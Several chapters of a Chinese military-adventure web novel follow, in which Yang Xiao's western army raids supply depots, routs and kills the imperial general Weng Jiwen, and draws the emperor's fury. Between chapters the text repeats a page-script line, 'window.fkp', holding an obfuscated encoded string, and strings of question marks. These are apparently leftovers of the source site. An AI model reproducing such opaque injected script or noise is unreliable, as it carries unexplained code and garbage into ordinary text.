“是啊!邬宗主,有我们在你还担心什么?”那矮冬瓜也说道。 “既然袁山主和黄堡主都这么说了,邬某要是再推辞的话……就有些说不过去了。只是让邬某白捡这许多的便宜……呵呵……邬某实在是有些不好意思啊。”那干尸般的魁梧男子假惺惺的说道。 ……。 三个人商议完毕后各自起身离去。 古堡外一位白发苍苍的干瘦老翁出现在那邪异黑衣青年的身边:“山主,老奴私以为咱们这么做是不是有些……不大合适呀?” 那邪异青年冷哼道:“不合适又怎么样?我就是咽不下这口气!”青年说完这句话后身形一闪消失不见,那老翁叹口气后也跟着缓缓的隐去了身形。 ??????? ??????? ??????? ??????? ?????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零一回 孤军深入(一) 杨笑不费一兵一卒拿下太和城后,又马不停蹄的直奔上宁府而去,而此时的上宁府早已是严阵以待。 上宁府吸取之前几场大战的经验教训,主动放弃了一些无关紧要的城镇,把兵力集中在几个紧要的地点以图能够集中力量阻挡西梁军。正是因为朝庭军队的主动撤退让杨笑白白占据了好几座县城。 ?而另外两路西梁军就没有这么幸运了,朝庭的军队在受到增援后步步为营,节节抵抗,虽然他们的战斗力并不怎么样,但西梁军每前进一步还是要耗费一些时间的,这也导致杨笑成为了一支深入的孤军。 孤军深入乃是兵家大忌,为了打破这种局面杨笑派遣马致远带领五千兵马前往支援左路军。 西梁军三路人马,杨笑在中路沿着潮天河北岸直扑圣京城;右路军大公子在潮天河南边前进;左路军从关中平原的北部边缘一路向东。 若是看三路兵马之间的距离的话,右路军和杨笑之间的距离是最近的。之所以舍近求远选择支援左路军,是因为杨笑的中路军和右路军之间有一条潮天河挡在中间,这样一来反倒是和左路军之间的来往更方便些。左路军由西梁大将封常青率领,三路大军中其它两路都由年轻一代领兵,只有左路军由老将封常青统领。 西梁军除了要跟朝庭的军队做战外还要防着狄戎族和藩族在背后捣乱,面对两线做战的不利局面,做为主攻方向的中路军就需要一个锋芒毕露的将领能够一路猛攻,争取在朝庭完全反应过来之前尽可能快的杀入圣京城。而杨笑在西梁年轻一代的将领中,其实力绝对是拔尖的,再加上有仙人向西梁王做保,又是自家的女婿可以绝对信任,这样一来中路军将领便非杨笑莫属了。做为两翼之一的右路军所面对的压力是三路大军中最小的,以大公子的能力完全可以胜任,再加上有玄甲营大统领梁赞的辅佐可保万无一失。反倒是左路军因为所经之处靠近几个屯兵重镇,其境遇仅比中路军的情况稍微好一些,所以就需要一个能够镇的住场面的老将来主持。 大将封常青今年五十出头,原本是西梁王的家奴,因为脑子灵光,又酷爱兵法,那时候还不是西梁王的西梁王出于爱才之心就送他到军中历练。封常青在军中历练多年颇有建功,后来又跟随自家主子来到西梁,一路打拼,成为了西梁四位大将军之一。 封常青领兵打仗虽然也常有奇兵使出,但他最擅长的还是稳扎稳打的章法。现如今左路军正在攻打一处名叫刘家堡的要塞,这可是一块难啃的硬骨头,对方仗着易守难攻的险要地势和坚固的城池与封常青的左路军已经耗了许多天了,得到马致远的支援后封常青立刻对这座军事要塞发起了新一轮的猛攻。 派马致远去支援左路军的同时,杨笑也没闲着。一边命大部人马与上宁城内的守军对峙一边派李伯通绕道攻打周边的各处县城,以期望可以找到一个能够成为突破口的战机。 遂宁县城外,杨豹已经在这里叫骂了半个多时辰了。他的嘴上就像长了生殖器一般,张口闭口不离造小孩儿的行为动作,把各种脏话变着花样的骂了个够,城头上那些人的祖宗十八代都让他给问候了好几遍了,可城内的守军就是乌龟一样缩起来,不但不答话连头也不露一个。 杨豹实在是骂的有些口渴了,喝了一碗手下士卒递过来的水,擦了擦嘴角后拿手里的板斧指着城头上又接着骂道:“你奶奶的,你们还真是属乌龟的,老子骂了这么半天连个露头的也没有,都他娘的是一帮窝囊废!还是不是个带鸟的?嗯?一帮没种的家伙!……。” 杨豹在城下骂骂咧咧,缩在城墙上的守军们虽然不敢露头跟他对骂,但许多人的嘴里却并没有闲着。一名老卒蹲坐在地上背靠着城墙上的垛头,杨豹在城外骂一句,他就在那里小声地嘀咕一句:“你才是属王八的,你们全家都是属王八的,爷爷就是不露头,有本事你上来咬爷爷一口……。” 城外大声骂,城上小声回。杨豹骂了半天也有些累了,丢下一句脏话后正想要拨转马头往回走,这时候一个人影出现在了城头之上。杨豹见终于有人肯露头了,把他乐的将两条眉毛一扬,用手里的板斧指着城头上那人乐道:“嘿嘿!终于有个敢露头的了。就冲你第一个站出来,爷爷我就敬你是条汉子,快快快,敢紧出城来,爷爷答应你,一会儿把你的脑袋砍下来绝不会把它当成夜壶。”说着就哈哈大笑起来,他身后的西梁众士卒们也跟着起哄。 城头上那人对杨豹的话似乎并不在意,而是双手作揖向城下的杨豹弯腰一礼。杨豹见了咧嘴道:“诶呦!看看诶,还是个酸溜溜的书呆子。嘿!我说,爷爷是来砍你的脑袋瓜子的,不是来你家窜门的,你冲我行礼也没用。” 只见在城头上那人开口道:“本官孟行仁,是这遂宁县的县令。不知这位将军如何称呼?” 这位遂宁县的父母官据说是年前新到任的,西梁军的情报上只说是从南方某地调来,其余生平并不清楚。也是该这位县令大人倒霉,刚到任没多少天,连县里的具体情况都还没有摸清就遇到了西梁王举旗要清君侧。 杨豹听来人报上姓名后随口回了一句:“老子杨豹!”杨豹自报家门后忽然间觉得“孟行仁”这个名字似乎有些耳熟,但一时又想不起来在哪里听到过。他低着头嘀咕了一声后问道:“等会儿!你说你叫什么?” 孟行仁又把自己的名讳重复了一遍。杨豹吸一口气自言自语道:“咝……这个名字怎么这么熟悉呢?”他仔细地想了想还是没有记起来到底是在哪里听过这个名字,于是他仰着头问道:“你家是哪儿的?” ?“杨将军是问孟某的家乡吗?孟某乃是开阳府山阴县人氏。” 杨豹皱着眉嘀咕道:“山阴县?那不是我老家嘛。” 要是杨笑在这里的话应该一眼就能认出来眼前这人是谁。没错,这位遂宁县的新县令就是当年杨笑的对门邻居,曾经差点做了他的岳丈老泰山的孟秀才。 杨豹嘀咕完这句话后忽然就想了起来:“哦!我想起来了,你就是那个孟秀才吧?” “哦?杨将军认识孟某人?杨将军的名字孟某也是耳熟的很,不知道杨将军是哪里人氏呀?” 杨豹冷笑道:“哼哼,我是哪儿的?你可记得杨笑!?” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零二回 孤军深入(二) 初开始孟行仁也觉得杨豹这个名字有点熟悉,现在听他提到杨笑,再一联系到西梁,孟行仁也终于记了起来,他试探着问道:“你是……杨家老五的儿子?” 一想起堂兄一家的遭遇杨豹就气不打一处来,他冷着脸厉声道:“没错!杨笑正是我的堂侄!” 孟行仁一听是老乡脸上闪过一丝喜色,他开口劝道:“杨兄弟,看在你我都是同乡的份上听我一句劝,天威不可触,不要被西梁王那等逆贼蛊惑,还是早早弃暗投明为好,孟某可在太守大人面前保举杨兄弟……。” “呸!”杨豹不等他说完便怒气冲冲道:“谁跟你是兄弟了?你把我侄儿一家害的好苦!” 孟行仁一听杨豹的话一时不知道该说什么,这是哪跟哪呀?杨家的事怎么就怪到我的头上来了呢? “杨兄弟,这又是从何说起啊?杨家的事乃是那些藩兵所为,不关孟……。” 杨豹根本就不想听他说话,气呼呼的将孟行仁的话喝断道:“你闭嘴!若不是你背信弃义,我那两个侄儿又怎会凭白无故受那么多的苦?” 孟行仁对于当年的所做所为在心底里其实也是有些许愧疚的,但那又如何?自己的仕途,还有女儿的终身大事才是最重要的。只见他假惺惺的说道:“杨贤侄如今怎么样了?孟某虽官小位卑,但若不嫌弃孟某也可对他照抚一二,也好对当年两家的情义有个交待。” 杨豹心说:“算你个孟老二还有那么一星半点的良心。”但面上却嫌弃道:“谁要你的照顾,我那笑侄儿如今身份显赫的很,凭你一个小小县令连给他提鞋的份儿都没有。” 正在两人对话间一名下属慌慌张张的跑到孟行仁的身边与他耳语了几句,孟行仁听那人说完后先是面色一惊,而后又由惊转怒,转而气恼至极的指着下面的杨豹骂道:“誉满天下的西梁军原来是一群阴险狡诈之徒!……。” 杨豹放声大笑:“哈哈哈哈……你真当爷爷有功夫陪你们在这里磨嘴皮子不成?哈哈哈……。” 其实孟行仁刚一开骂杨豹就知道发生了什么事。原来朝庭的援兵虽然赶到了上宁城,但粮草辎重并未及时赶到,而遂宁县临近潮天河,城南五里的龟鼻渡乃是上宁城重要的水路补给通道,从各处调来的粮草辎重大部分需要在此上岸。 这样重要的地方李伯通又怎会放过?之所以让杨豹在遂宁县城外叫阵就是为了迷惑和牵制城里的守军,好让他们不能及时赶去增援龟鼻渡。而此时的龟鼻渡已经被西梁军攻陷,渡口内屯积的粮草辎重大部分被西梁军劫掠一空。李伯通达到目的后立刻后撤,丝毫不与赶来救援的朝庭兵马纠缠。 杨笑这段时间长驱直入把战线拉的很长,大军的粮草补给一时也有点紧张,这下有了从遂宁县劫来的粮草,可以说是解了一时的燃眉之急。不过与好消息一同到来的还有一个更坏的消息:一支约两万之数的人马绕过了封常青的防线向杨笑的后背直扑而来! 此时前方大队人马正处在对峙的关键时期,马致远去支援左路军,李伯通正押着刚刚劫来的粮草辎重往回赶,这个时候要是被这两万人在背后插上一刀,上宁府内的守军再配合起来对自己形成两面夹击之势的话,那可就是大大的不妙了。 上宁府外对峙的人马轻易不能受到干扰,马致远是肯定赶不回来了,李伯通那里好不容易劫来的粮草辎重正是大军急需,杨笑又怎肯轻易舍去?杨笑盯着眼前的地图陷入了沉思。 眼下自己所在的小县城易攻难守,在这里与数量占优的敌军对阵绝不是一个好办法,李伯通又受辎重托累不能及时赶回来。 杨笑皱紧了眉头盯着地图约么有一盏茶功夫后,只见他把拳头在桌面上重重一砸,缓缓地沉声道:“传令!” 堂内两排传令兵齐声应道:“在!” 杨笑递出第一支令箭:“上宁府外大军不得自乱阵脚!不得放一兵一卒出城!”接着杨笑又递出第二支令箭:“传令李伯通将军,带着粮草辎重向右路军靠拢,没有本将调令不得回援!”然后杨笑又递出第三支令箭:“城内轻骑多带弩箭随我左右!”杨笑伸手在地图上一点:“其余人马在明日天亮之前赶到这里与我会合!”接着杨笑又递出第四支令箭:“传令韩元吉将军,要他加快步伐,务必在明日午时之前赶到集合地点!”……杨笑递出一支又一支令箭,各路人马听令而动,一场大战即将来临。 ……。 翁及文,光听名字的话还以为会是一个德高望重的名家大儒,其实人家是一个地地道道的武将,官居正四品中郎将,乃是一位年逾五旬的老将。 再有跟他的名字不搭调的就是他的脾气了。翁及文是个急性子,说的好听点叫做为人耿直豪爽,说不好听的就是有点不太够数,只知道一味的勇武,并不怎么懂得变通。 以他的性子在如今的庙堂之争中实在是有些格格不入,之所以能做到正四品的位子,全赖他老婆的族中出了两位当朝元老。有了两位在朝中有实权的元老提携照顾,翁及文的上升通道也就顺畅了许多。也正是因为这个原因,翁大将军怕老婆的名气比起他本身带兵的名气就要响亮多了。 和王燕兴一样,翁及文也是镇守一方的武将,只是他驻守的地方深居内地,别说打仗了,山匪毛贼都没几个。何况他又是那种勇武有余而谋略上却不足的人,所以别看他一大把年纪了,其实领兵的本事也就那个样。 和王燕兴不一样的是,这次急调驰援,翁及文只带了本部骑兵,其余大部分人马都是从沿途各州府郡县借调征集而来的。 原本翁及文应该赶在杨笑之前到达上宁府的,但因为天气回暖冰雪融化,导致他必经的一条河流河水暴涨,将河面上的许多桥梁和渡口都给冲毁了,翁及文延着河岸转了一大圈才绕了过来。虽说因为绕路耽误了行军的期限,但这也使得他阴差阳错的躲过了西梁左路军的视线,一路插到了杨笑的后背。 此时翁及文十分清楚自己的处境,一方面误了行军期限担心朝庭降罪;另一方面又担心被西梁军发现后会把自己给包了饺子;再一方面又想要抓住眼前的天赐良机:只要自己能够在杨笑的中路军背后狠狠的插上一刀,和上宁城里的守军里应外合一举将其击溃,到时候别说有罪反而是一个大大的功劳。正是因为以上的几点原因,所以翁及文的人马这几天一直都处于急行军的状态。 翁及文早已接到军中密报,西梁军中路先锋官现在正在一座小县城中,城里没多少西梁军,而且大多数还都是些伙夫杂役之类,如此良机他又怎肯错过?于是翁及文只带了数千骑兵,快马加鞭直扑杨笑而来。 而此时的杨笑早已出城多时了。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零三回 孤军深入(三) 出城走了一段路程后杨笑便领着千余轻骑离开了大队人马择路而去。 一营风尘仆仆的步卒正在一条大路上急行军。这队步卒看起来应该是有十分紧急的军务,以至于急切到连探马斥候都没有放出。而步卒们显然也已经十分的疲惫,不少人都掉了队,稀稀拉拉的队形拉出了两三里路远。在途经一个小村庄时一名偏将向领头的将领建议道:“大人,我们是不是先派人到前面的村子里看看?” 这名将领是翁及文从一处县城里征集来的守城校尉。当时这名校尉正在青楼里喝着花酒,怀里正搂着一个浓妆艳抹,细腰丰臀,全身上下都透着那么一股子风骚劲儿的狐媚小娘子。 这个狐媚的小娘子是他刚刚从一个不长眼的纨绔子弟手里抢来的花魁。从见到这名新来的花魁第一眼起,这位在小县城里几乎可以说从来都是说一不二的年轻校尉那双眼睛可就直了,连带着裤裆里的兄弟也是肃然起敬。可偏偏那个不知道从哪儿冒出来的年轻小纨绔不怎么长眼睛,对咱们这位校尉大人的话置若罔闻。 在自家的地盘上被一个毛都没长全的小子给拂了脸面,这口气哪是说咽就能咽得下去的?这名校尉于是立刻表明了身份,外带让手下的恶奴狠狠的让那名年轻纨绔长了长记性。 谁知道搂着到手的小娘子喝的正高兴,打算下一步就要把那个让人抓心挠肝的小妖精给就地正法的时候,上峰的调令到了。说是增援上宁府的大军已经到了城外,要他立刻招集手下人马到城外与大军会和。这名校尉只好让人把到嘴边的花魁先送到自己府上,等回来后好接着跟她云雨。 此时这名校尉又累又渴,一想到自己这个时候原本该爬在那个狐媚小娘子又白又嫩的身子上挥汗出力,他的心里不由的就气不打一处来。他强压住心中的不快,勒住了马缰绳,用手里的马鞭扶了扶头盔,眯起眼睛往前面的小村庄望了望说道:“不用了,翁将军他们刚从这里过去没多大会儿,应该不会有什么问题的。告诉大家伙儿再加把劲儿,马上就到地方了。” 就在这队步卒刚靠近小村庄时,一队骑兵突然之间就从村子里冲了出来,为首之人黑甲黑枪,胯下骑一只黑色猛虎。 那名校尉一看来人,立刻面上一惊!心道:“坏了!这一身打扮,还有那匹猛虎,不正是军报里说的西梁虎威将军杨笑吗?”再回头看一眼自己手下的人马:人数少不说,沥沥拉拉,三五成堆的拉出去二里多地,一个个全都是疲惫不堪,东倒西歪的。那校尉心说:“这还怎么打呀?跑吧!”只见他把坐下马头一调大呼一声:“不好了,西梁军来了,快逃命啊!” 其实跟本就用不着他喊这一嗓子,手底下的人自己个儿也知道该怎么办,早撒丫子跑了。杨笑率领的骑兵如同一阵风般一扫而过,这一营的步卒逃的逃、死的死、降的降。 翁及文一路上长途跋涉早已是一只疲兵,队形拉开了很长的距离,此时正是首尾难顾之时。不是他不知道这样会有多么危险,而是他觉得自己不得不这样做,只有赶在西梁军发现自己之前打他一个出其不意,这样自己才会有更大的胜算。而这也正给了杨笑可乘之机。杨笑带领着这一队骑兵在翁及文的大军之中见缝插针,来去如风,简直是如入无人之境。 翁及文在小县城里扑了个空,正在气头上的时候忽然听到手下人来报,说杨笑出现在了自己的后方,翁及文当时就心中大呼不妙,等他回过头再去追杨笑的时候却连根毛都没捞着。 咱们回过头来再说杨笑。 话说杨笑带着一千轻骑在翁及文的队伍当中每隔上几里路就杀上一个来回,一直杀了几进几出,手底下的骑兵们也是越杀越来了劲头。像这样如杀鸡屠狗般的仗一辈子也没打过几回,这一番进进出出当真是好不痛快。 这一回出现在杨笑面前的是一队约么两三千人的辎重队伍。由于牲畜拉车行走的速度都差不多,这只速度最慢,走在最后面的人马反而是队形最整齐的队伍。远远的见到西梁军杀来,为首将领早已命手下人马组成了防御队形,把运送货物的车辆围成一圈挡在外面,组成了一个个的临时防御工事。 面对这种防御阵形,杨笑并没有像先前几次那样冲入敌军的阵营当中来一个枪挑马踏,而是绕到上风口处远远的射出一波波的箭矢。由于是顺风射出,所以箭矢可以飞出更远的距离,而躲在防御工事后面的人由于处于下风口,逆风飞行的箭矢比平时射出的距离短了一大截,跟本够不着西梁的骑兵。几轮箭雨过后处于防守的一方已是死伤不少,面对这种一边倒的屠杀溃逃是再所难免的。 杀退敌军后杨笑高声道:“把车上的弓箭全部带走,不要着急动那些粮草,它们很快还会是我们的!”众将士斩断车上的绳索,把一梱梱箭矢和弓弩全都搬到马背上然后扬长而去。 等翁及文赶来的时候也只是远远的看到杨笑等人绝尘而去的背影。翁及文怒不可遏,自己一个久经沙场的老将竟然让一个毛头小子给耍了,只见他气急败坏道:“给我追!” 杨笑像是故意钓着翁及文似的,他追的紧了杨笑就跑的快一些,他追的慢了杨笑干脆就停下来等他一会儿。追了半天翁及文才回过味儿来,感情这小子是在玩儿自己呢? 翁及文停下脚步命令手下埋锅造饭,打算等集齐了人马之后再战。只不过他想停下来休息杨笑却不答应,翁及文锅里的水还没烧热呢,杨笑就带着人冲过来放了一排箭雨,将翁及文搞的狼狈不堪,连做饭的锅都被射穿了几口。翁及文气的破口大骂,他真是被杨笑给气出真火来了,把手里的干粮往地上一摔,上马就又要向杨笑追去。 就在翁及文拿杨笑毫无办法的时候,一名属下来报,发现了一队西梁步卒和许多军中杂役,翁及文闻言立刻调转枪头直奔这些步卒和杂役而去。翁及文心想:“弄不了你杨笑我还弄不了这些个小鱼小虾了不成?你要是不来救我就干脆拿这些人来出气,你要是来救的话……哼哼!我巴不得你来救呢。” 就这样两拨人兜兜转转,一直到了傍晚时分翁及文才终于把杨笑堵在了一座小山丘上。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零四回 孤军深入(四) 利用这些步卒杂役把杨笑堵在这里后,翁及文的心情终于好了一些。自己这边原本有两万人马,抛去一路行军掉队的,再加上被杨笑斩杀和四散逃跑的,拢共算下来大约还有一万四五的人马,而对面连杂役算在里面也不过三四千人,如此悬殊的差距在翁及文的眼里看来,杨笑的人头似乎已经提在自己的手里了。不过翁及文不知道的是,这一切也是杨笑的意思。 把杨笑围困住后,翁及文立刻招集人马准备对杨笑所在的小山丘发起进攻,势欲一举拿下其项上人头。杨笑这边则趁着翁及文招集人马排兵布阵的功夫,加紧分发干粮、酒水、兵器、盔甲,吃饱喝足了整军备战。 翁及文长途行军,厚重的盔甲自然不会随时都穿在身上,而负责运送这些东西的辎重部队行进速度又特别慢,再加上各路人马又让杨笑给霍霍了个遍,所以等他把人手都招集齐了的时候已经是半夜了。 今天晚上的月色特别的好。一轮圆月高高的挂在当空,月光十分的明亮,亮到天上的星星都看不到几颗,皎洁的月光把大地照的如同白昼。 也是多亏了这份月光,要不是有这大明月亮地儿,翁及文手底下那些掉了队的人马还不知道要等到什么时候才能招集起来。等他把人手集合完毕,杨笑这边早已吃饱喝足休息好了。 趁着对方还没有把盔甲穿戴起来,杨笑这边就来了个先下手为强。一千多名轻骑从小山坡上飞驰而下,手里的弓箭专捡那些防守薄弱又比较混乱的地方,上去就是一通乱射。翁及文这边的一两万人马本来就是临时招集起来的一群乌合之众,里面有不少都是强抓来的市井小民或者山野村夫,哪里能是西梁骑兵的对手,一通箭雨射下来差点就先自乱了阵脚。 翁及文好不容易才收拢住人马,稳住了阵脚,以他的火爆脾气少不了又要把西梁军大骂一场。说什么西梁军都是些个阴险小人,狡诈鼠辈,只会搞暗算偷袭,有本事就跟爷爷光明正大的大战三百回合,末了还扬言要让杨笑好看。不过除此之外他也没有什么好办法。 别看翁及文带兵的本事不怎么样,可看似豪迈耿直的背后,小算盘打的也是噼里啪啦的响,对于自己的嫡系部队他可舍不得往坑里填,专门把那些借调征集来的人马放在前面当炮灰使,把自己更适合冲锋的嫡系骑兵给摆在后面做督军。???????? 那些被当成炮灰的士兵们虽说战斗力不怎么样,可人家又不是傻,明知道被人当炮灰使哪个还会真正的卖命出力。那些个领头的大小将领就更别提了,平日里从来都是养尊处优惯了,要说在自己的一亩三分地上干些个欺负市井小民,霸占良家妇女的事情,做起来那叫个手捏把掐,真要是让他们提着脑袋冲锋陷阵的话……呵呵……那可就真不是那块料了。 一个冲锋上去,还没冲到西梁军的跟前,迎接他们的就是一阵从天而降的箭雨。西梁军的箭刚一射出来,这帮炮灰们立刻调头就往后撤,翁及文哪能容他们这样胡来,命令手下督战的骑兵冲上去就是几个手起刀落。管你谁是谁,先砍几个脑袋压压阵再说。 这么一来可真就是可怜了那几个被砍了脑袋的家伙喽!要真是他们带头往后撤的也就算了,关键他们也是随大流呀!往前冲的时候呢,本来是跟在队伍后面的,这到了往回撤的时候,可不就是成了队伍的最前面嘛。也是倒霉催的,离那些督战的骑兵近了点就这样被人家给砍了脑袋。 有了这次的杀鸡儆猴,多多少少还是能够震住点场子的,但想要让他们真的肯卖命还是有些不够现实,就这样在战场上出现了让人啼笑皆非的一幕,西梁军一放箭,这些乌合之众就往后退,督战的骑兵刚要上前“军法从事”,他们就又往山上冲。就这样东边冲一下,西边冲一下,南边来一波,北边来一波,如此反反复复直到天光大亮,除了消耗掉西梁军的一点箭矢和在山上留下许多的尸体外,一点别的作用也没起到。 眼瞅着日上三竿,到现在上宁城那边还是没有消息传来,翁及文知道留给自己的时间已经不多了,要是再拿不下眼前的这个小山包,等待自己的会是一个什么样的后果,他心里比谁都清楚。就在这时,从山上的西梁军中传来一阵阵的嘲笑声:“翁及文,两万对三千不过尔尔!” “翁大将军,我们又不是你老婆,你怕什么呀?来呀!” “哈哈哈哈……。” 西梁军的嘲笑声一句一句的传入耳中,俗话说:士可杀不可辱!泥人还有三分火气呢?面对如此嘲笑,本来就在气头上的翁及文立刻把头发都气炸了。他抽出腰间的佩剑向山上一指,怒喝一声道:“给我杀!” 翁及文身先士卒带领手下的骑兵冲上山去。在他看来,被耗了整整一夜的西梁军就算是铁打的也该被耗软了吧?只不过这一次他恐怕是要失算了。西梁境内向来是全民皆兵,那些看似不起眼的伙夫杂役们当初也全都是疆场老手。先前那些乌合之众们的冲杀对他们来说跟本和挠痒痒没什么两样,甚至都没能耽误他们换班休息,也就当下这股冲上来的骑兵才能够提起他们的精气神来。 翁及文的骑兵刚一进入弓箭的射程范围就迎来了西梁军的一波箭雨,不过这些骑兵们到底是有全套的盔甲护身,虽说有点损伤,但问题不大。顶着一波波的箭雨,这些骑兵们很快就冲到了西梁军的阵前。 挡在最前面的是一道巨盾和长矛组成的城墙,翁及文率领的骑兵就像是海浪撞到了礁石,双方立刻交织在一起展开了一场肉搏战。 冲在最前面的骑兵大多数刚一交手就被长矛给捅成了筛子。面对如潮水般涌来的骑兵,西梁军的数量倒底还是少了些,几次冲撞之后前面的防线就被突破了,不过他们的阵形却并没有因此被打乱,等待这些骑兵的是人数更多,更可怕的刀斧手。 面对眼前双方混战的场面杨笑沉着应对,一面让弓箭手继续放箭阻拦跟在骑兵后面冲上来的步卒,一面派出骑兵从两侧冲杀而出。 后排的步卒没能及时跟进,而杀入西梁军阵形当中的骑兵不但没能讨到什么便宜,翁及文本人反而差点被一根不知从什么地方抛射过来的长矛刺到,最终还是损失惨重败下了阵来。 一败再败的打击让翁及文气恼不已,这时候一名下属偏将献策道:“将军不如用火攻。” 翁及文眼前一亮:“是啊!刚才自己怎么就没有想到呢?” 火是烧起来了,不过却没能烧到山上。小山包上土地贫瘠,原本还稀稀拉拉的长了一些杂草,但经过一夜反反复复的踩踏,早就只剩下跺跺脚就会冒起三尺白烟的地皮了,反倒是山脚下草木丰盛的很。此时东风送暖,天干物燥,大火借着风力以燎原之势从东面一路就烧到了西面。敌人没烧着倒是把自己给烧的够呛,反观山上的西梁军,除了被烟呛了几下有点难受外并没有受到什么影响,气的翁及文把那个出主意的下属一巴掌就给扇到了马下。 就在翁及文气急败坏的时候一个让他最担心的事情还是来了:手下探马来报有一大队骑兵正往这边赶来。翁及文伸长了脖子往身后望去,果然看到远处的地平线上有一股狼烟腾空而起,分明是大队人马掀起的尘土随风飞扬。 这个时候,又是从这个方向而来的大队人马,说破大天来翁及文也不会相信是上宁城内的援军赶到了,既然不是自己的援军那就只能是杨笑的援军了。 翁及文见大势已去,立刻绕道向上宁城退去,杨笑又怎能随他的意,带领手下骑兵一路追击而去。以一千多人去追杀一万多人也真是当世仅有的一幕了。 这一带是伏牛岭的边缘地带,翁及文正是打算穿过伏牛岭,好绕过围在上宁城外的西梁军进入上宁府境内。 ???????一路上翁及文都像是一只丧家之犬,逃的十分狼狈。他手下那些借调征集来的人马早已四散而逃,完全不把他这个将军的命令放在眼里,哪怕追在自己身后的只有区区的一千骑兵。 这个情景……用“弃甲曳兵,作鸟兽散”来形容应该会很合适。 昨天翁及文还在追着杨笑打,现在猫捉老鼠的游戏完全对换了角色。杨笑跟在翁及文的后面,两者之间相距并不远,也不急着追上他。可杨笑越是这样,翁及文的心里就越是害怕,他现在只恨那场该死的洪水,早不来晚不来,偏偏在自己要过河的时候来;他还恨那个举荐自己的朝中大员,自己在家日子过的好好的,干嘛要把自己拉到这里来,还要自己跟这帮该死的西梁军交战;他更恨胯下的这匹马怎么跑这么慢!手里的鞭子都要抽断了也不见它再快上哪怕一分,它怎么就不长出一双翅膀来? 就在翁及文胡思乱想恨这个恨那个的时候,一堆柴草堵住了他的去路。此时的柴草垛上已经燃起了雄雄的大火,翁及文勒住马缰正想着换一条道路继续奔逃的时候,从路两边的丛林当中传来了一道道破空之声。 一路上为了能跑的更快一些,翁及文早已把自己和战马身上的盔甲丢了个干净。什么叫丢盔弃甲?这就是丢盔弃甲。没了盔甲的防护,仅凭血肉之躯怎么挡得住这些弓箭的射杀?上百支闪着寒光的羽箭将翁及文和他仅剩不多的手下射杀了个干干净净。 说到这些突如其来的弓箭,还要从杨笑带着西梁王还有西梁王亲兵卫队一路逃回西梁境说起,这些人正是当初留在伏牛岭里养伤的那百余人。这百余名西梁王亲兵一直躲藏在伏牛岭的密林中一边休养一边悄悄地发展壮大,如今已经把山里的许多山民猎户收入了麾下,人数足足翻了一倍多。从进入上宁府境内后杨笑就与这些亲兵侍卫们取得了联系,在得到杨笑的命令后就在这条能够绕到上宁城的道路上埋伏了起来,于是就有了这一幕。 翁及文的死又会引发什么样的连锁反应呢?欲知后事如何,且听下回分解! ???????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零五回 大破刘家堡(一) 第二天翁及文的人头就出现在了上宁城外,翁及文的死对上宁城内的守军产生了极大的震撼,一时间城内人心惶惶。很快这个消息也传到了圣京城。大发雷霆的皇帝把手里的奏章直接丢了出去,差一点就要碰到兵部尚书的脸上。 “万无一失?固若金汤?这就是你们说的固若金汤?刚一个照面就损失了两万兵马,还让人家斩了统军之将,你们的万无一失到哪里去了?为什么会误了行军期限?翁及文是干什么吃的?” 面对皇帝的一连串怒火,跪在地上的兵部尚书战战兢兢的说道:“是……是……是因为遇上了洪水……。”不等兵部上书的话说完一位灰须老者便站了出来,向皇帝深深一拜后开口说道:“路遇洪水乃是天灾,实非人力所能违。虽然翁将军因为洪水耽误了行军期限,但其遇事不乱,仍能率部一路杀到了西梁中路军的背后,只差一点点就能将杨笑的贼首斩下,反观上宁城内,坐拥数万精兵却固守不出,对翁将军提出的策应请求无动于衷,最终导致翁将军功亏一篑,惨死在西梁军的手中。还望陛下明鉴,将贻误军机者绳之以法,以慰翁将军在天之灵。” 这灰须老者不是别人,正是翁及文的老婆曹氏的亲叔叔当朝御史大夫曹之谦,是翁及文在朝中最大的靠山之一。 皇帝听说差一点就能挫败西梁的中路军,最终却因为上宁城的原因导致功败垂成,气的在龙椅上重重一拍,大声的吼道:“太常令!” 太常令常道卿立刻跪伏于地:“陛下!” 皇帝冲下玉阶指着太常令的脑袋质问道:“朕如果没记错的话上宁府太守是你的女婿吧?!” 常道卿立刻大呼冤枉道:“陛下冤枉啊!非是上宁府不去应援,实在是西梁军防范严密,城内守军向外冲了几次都没能冲出去呀!” 皇帝这时候早已有些被气昏了脑袋,他现在只想发泻一下自己的怒火,跟本就不想听太常令的解释:“一派胡言!什么防范严密?什么冲不出去?分明就是贪生怕死,让如此良机白白的错失。看来他这个太守的位子还是不要坐了,叫他提着脑袋来见朕吧!” 